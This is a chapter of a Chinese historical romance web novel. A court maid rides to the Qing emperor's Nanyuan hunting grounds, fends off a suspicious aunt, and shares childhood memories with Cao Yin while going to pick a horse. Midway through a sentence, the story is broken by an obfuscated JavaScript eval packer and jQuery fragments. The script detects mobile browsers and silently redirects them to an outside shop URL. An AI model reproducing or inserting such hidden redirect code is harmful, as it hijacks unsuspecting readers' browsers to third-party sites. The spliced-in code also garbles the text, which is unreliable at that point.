三日后。
旌旗在风中猎猎作响,去往南苑的行驾浩浩荡荡,川流于街市而如烟般向远处溢去。
卫素瑶掀开车帘,看见护城河边草色凄迷,身着补服的官员在城门外送行。行驾出永定门,沿途官兵立即布起黄幔,景色被挡,无甚可看。卫素瑶放下车帘,贺凌霜也放下了车帘,两人面对而坐。贺凌霜对她说:“都是黄幔,没什么可看。”
“是啊。”
“跟着天子出行就是这样,街景被挡,行人阻隔于黄幔外,底层百姓可没有资格见着天颜。还是你我幸运,能常见着皇帝,尤其趁此机会得多看看。”贺凌霜说着自己笑了起来。
卫素瑶不知道这有什么好笑,但是她心虚,便跟着干笑起来。她并没有邀请贺凌霜去南苑,不知康熙和曹寅使得什么法子把她哄了来,于是她试探问:“姑姑是怕我一人无聊,才来陪我的吗?”
“是惠嫔,她叫我来的,怎么,她没跟你说吗?”见卫素瑶一脸懵,贺凌霜感慨,“你俩关系差成这样了?”
“自从吵了一架就没说过话。关系这般恶劣,她还不放过我,我对她究竟还有什么价值?不知道她图什么...”卫素瑶无奈地嘟哝着,又问,“姑姑,惠嫔跟你怎么说的?”
“她能有什么花样,还是叫我看着你,怕你没轻没重的得罪皇上。”显然贺凌霜对此也困惑,兀自摇了摇头,表示费解。
卫素瑶顿觉好笑,心想在贺姑姑面前,谁也不敢自称没轻没重,惠嫔大概是受了嘱托,找借口将贺姑姑骗来罢了。唉,不知道贺姑姑究竟惹了什么事,她对她虽然交情不深,但却不希望她有事。
眼睛里大约泄露了一点忧色,被贺凌霜逮个正着,贺凌霜睨着卫素瑶说:“我知道自己什么德行,我也不想来,原是秋兴陪你最好,眼下她出了事,惠嫔只能央我,你将就着些吧。”
说到秋兴,卫素瑶顺嘴一提,“姑姑,为何那日你安然释放,秋兴却被关去刑部?”
贺凌霜顿了片刻方说:“我是真没想到秋兴会是那般身世。”
“那秋兴会有事吗?她那么柔顺温和的一个人,我不信她是内应。”
“柔顺温和?”贺凌霜咀嚼这四字,嘲讽道,“是很柔顺,很温和。”
卫素瑶心里突突的,继续胡扯:“听说进了慎刑司出来脱层皮,进了刑部出来丢半条命,我担心秋兴就算是被冤枉的,出来后也...”她偷偷觑贺凌霜,想看对方是什么反应。
贺凌霜却垂眸不语,半晌后自言自语说:“弘光朝礼部侍郎之女入宫为满人婢,她还想得到什么结局?”
卫素瑶搁在大腿上的手忽然一紧,贺姑姑她是什么意思?
贺凌霜忽然倾身向前,拉了拉卫素瑶的袖子,有些神神鬼鬼地道:“素瑶,这里就我们二人,我知你素来胆大,你抛开立场评评理,秋兴这样的叛徒,配得善终吗?”
这话像块空中落下的石头砸在卫素瑶心里,带着冲力,突如其来。卫素瑶起先不太明白,后来明白了,更假作没听明白,稀里糊涂地傻笑,“姑姑,还没审出结果呢,也不一定是内应啦,你怎就叛徒叛徒的叫起来了,难听死哦。”
贺凌霜冷笑一声,扭过头没再说什么。
-
一路无话。
卫素瑶简直觉得不是贺凌霜来看着她,是她在看着贺凌霜这个危险人物。原本背着行囊,远离宫阙,奔向大自然,是件令人雀跃的事,现在因为有了贺凌霜这个定时炸弹,卫素瑶始终惴惴。但在贺凌霜看来,卫素瑶的不安是出于对秋兴的担忧,所以她并未在意。
皇帝行驾进了大红门,此处便是南苑。黄幔撤下,外面响起鸟雀清啾,鹰雁鸣哦,远处大地传来咚咚蹄震,草木芬芳自车帘起伏间送入,一切都鲜活。
卫素瑶迫不及待掀帘,果然,眼睛直了,帘外远山依依,树木苍翠中杂有醺黄,池沼映出碧蓝天色,大鸟展翅低空掠过,林中闪过珍禽野兽身影。她难移开眼,恨不得身子随着视线奔出去。
“虞”一声,曹寅勒缰缓行,一身海青色箭袖行服,在马上身姿峭拔,满身少年意气,他冲她招了下手,扬眉道:“下来走走。”
此处未达行宫,行驾还在徐徐向前,卫素瑶纳闷他怎么突然邀自己下车,便有些犹豫。
曹寅见状,抛下简约二字:“圣旨。”他偏头往车内瞥去,“贺姑姑也一道吧。”
贺凌霜身体挪到车窗口,笑道:“我这点眼力见还是有的,我先回行宫布置房间,不打扰皇上雅兴。”
“成。”曹寅不多言,勒缰绳调转马头,马车很快停下。
既是圣旨,卫素瑶没有违抗的可能,她起身欲下,又不放心贺凌霜,回头说:“姑姑要不一起吧?”
贺凌霜摇头坚决拒绝,卫素瑶还想说什么,曹寅在前面掀帘望来,她只好下了马车。
这天尚有秋老虎的余韵未褪,艳阳高照,好在四面通透,天风不绝,吹得卫素瑶身躯不禁晃了晃,曹寅下马对她道:“跟我来。”
卫素瑶踏着一地草叶跟去,脚下沙沙作响,“皇上不先回行宫安顿吗?”
曹寅道:“皇上想给你挑匹马。”
卫素瑶眼睛里立刻泛光,随手采了一簇苦蓟,对着紫色小花嫣然而笑。
曹寅见她没声,回头看来,正撞上她欢欣容颜,不由微怔,低声嘟哝:“这么高兴。”
卫素瑶张开双臂感受风,雀跃到他身侧,“高兴啊,我小时候经常在书上看到骑马骑马的,很好奇是什么感觉,我家有一头老黄牛,我就骑在牛背上,把它当成马,赶着它去田里兜圈子吹山风,很快活。”
她说话间,眼睛一直瞟着身边葳蕤草木,不知不觉间采摘了一大把野花,舒展的手臂和摆动的身姿就在他身侧,宽袖大袍、大长辫子和她手中花叶偶尔晃到他身上,轻而微末的接触,于曹寅感受重大。
他想和她保持距离。
然而她说话时,他又忍不住侧脸瞧她。她背后是苍郁的山水,她穿嫩杏黄的衫子,亮而清透的颜色,衬得她的笑像初绽的鲜花。
远山近水,渺渺茫茫,天风迷眼,唯有眼前一处鲜妍。曹寅也不为难自己,勾了勾唇,心想,不看她看什么呢?
但是她又不说下去了,那笑渐渐滞住。
曹寅问:“后来呢?”
后来弟弟看到了,霸占老黄牛,可凭他怎么催促拍打,老黄牛只在原地缓缓转圈。再后来长大些,弟弟有新自行车,她没有,她还是步行山路去上学,成年毕业后,弟弟又有了新车,她没有,还是地铁上下班。从小到大,只有那头年迈老牛是独属于她的坐骑。
“后来我爹发现我骑黄牛,骂了我一顿,说我是赔钱货,只会给他添乱,就没有然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163688|138799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后了。不过,我马上要有一匹自己的马了。”卫素瑶依旧充满期待,喉咙里却有点哽。
曹寅的大拇指搭在唇下,陷入沉思,她说的场景似乎并不符合她的出身。
他查过她,目的是找一个叫韦承宗的人,可是她的周围并无此人,活着的没有,死去的也没有。现在这个名字再度浮现他脑海,他笑嘻嘻似随口道:“你很能干嘛,还帮你爹在田里干活?”
卫素瑶闷声说,“他看不得我闲,非得榨干我的价值才觉得没白养我,说难听点,我就是我家第二头老黄牛。”
她忽然张口不语,猛然看向他,嘴唇僵硬地动了动,露出惊疑神色。
她说得太多了。
在野外,不见宫墙,面对山川花木,她竟恍惚以为身在从前,忘了掩饰身份。
曹寅是多敏锐的人,他该发现不对劲了吧?
然而曹寅浑似毫无察觉,嘻嘻笑道:“巧了不是,不瞒你说,我也骑过黄牛。”
“不是吧?”卫素瑶忡忡地问。
“少时住在金陵,娘亲常带我去田间,教我辨五谷知时节,有一次清明时节,我冒雨骑在黄牛背上,腰间别短笛,逢人瞎指路,势要扮那诗里遥指杏花村的牧童,那天雨不小,我非但给着急避雨的人指错路,自己还染上风寒,挨父亲一顿骂,更连累娘亲衣不解带照料我。”
卫素瑶想象那固执地玩过家家的小牧童,很有画面感,在风中哈哈大笑起来,手中野花拍打曹寅的肩膀。
曹寅轻掸去肩上的雏菊花瓣,亦对自己童年顽劣之举忍俊不禁,眼里有光芒闪动,不过那光很快碎了灭了,他也不再说下去。
“孙嬷嬷带你去田间辨五谷,没有把你困在四书五经中,怪不得你不像宫里那些人被规矩束手束脚。”
曹寅偏开目光,静望远山,声音如清澈涓流淌来,“她是我嫡母,我生母是顾氏。”
卫素瑶怔了怔,这是她从不知道的,一时间也不知道说什么,半晌后才说:“对不起我不知道,我弄错了...”她感到很抱歉。
曹寅不在意,“我娘在我十岁那年便走了,嫡母待我视如己出,我心里敬她,早已视她为生母。”他忽然话止,抬头看天上一排大雁漂移而过,朝前健步走,“走吧,去挑匹属于你的好马。”
他大步流星,走走跑跑,卫素瑶只能小跑跟上去,两人前后逆风而行。
卫素瑶不住叫他慢些,她实在受不了了,在后面喊道:“曹大人你为什么非走这么快啊!”
“晚了好马要被挑走了!”
卫素瑶心想也是,便咬咬牙努力跟上。
人一旦运动起来,就会忘却许多细微而沉重的心思。比如卫素瑶就全忘了刚才把人娘亲搞错的尴尬,她只觉得要喘不上气了,但又觉身体很痛快。而曹寅,亦是在前行中将覆上心头的思念一片片剥去,扔在风里,让它吹远。
他真的好想好想他的娘亲,他从未敢在白日在人前提及她。他的煊赫恩宠皆系嫡母之源,他只能无比感激嫡母,只能在世人面前与她母慈子孝而不得不将对另一人的思念埋藏心底,舐犊也只挑夜深无人处。
可刚才那个牢固的闸竟差点松溃,他以为自己要失态了,还好。
还好风这样大,山这样多,云又这样的乱,有太多可看的风景,她四处乱瞟,不曾看到他眼里的寂灭与山轰。